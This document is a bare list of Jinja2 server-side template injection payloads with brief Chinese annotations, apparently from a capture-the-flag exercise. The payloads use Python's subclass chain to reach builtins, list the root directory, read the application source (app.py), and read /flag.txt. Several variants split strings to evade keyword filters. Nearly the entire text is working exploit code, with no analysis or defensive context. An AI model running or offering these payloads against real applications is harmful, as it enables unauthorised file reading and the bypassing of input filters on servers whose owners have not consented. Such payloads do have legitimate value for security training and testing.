{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
读取系统根路径下的文件flag.txt
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag.txt','r').read()}}{% endif %}{% endfor %}
{% for c in ''['__c'+'lass__']['__m'+'ro__'][2]['__subcl'+'asses__']()[:100] %} {% if c.__name__=='ca'+'tch_warnings' %} {{c['__in'+'it__']['__global'+'s__']['__buil'+'tins__'].open('/flag.txt','r')['re'+'ad']()}} {% endif %} {% endfor %}
绕过的payload-3
1 2 3 4 5
{% for c in ''['__c'+'lass__']['__m'+'ro__'][2]['__subcl'+'asses__']()[:42] %} {% if c.__name__=='file' %} {{c('/flag.txt')['re'+'ad']()}} {% endif %} {% endfor %}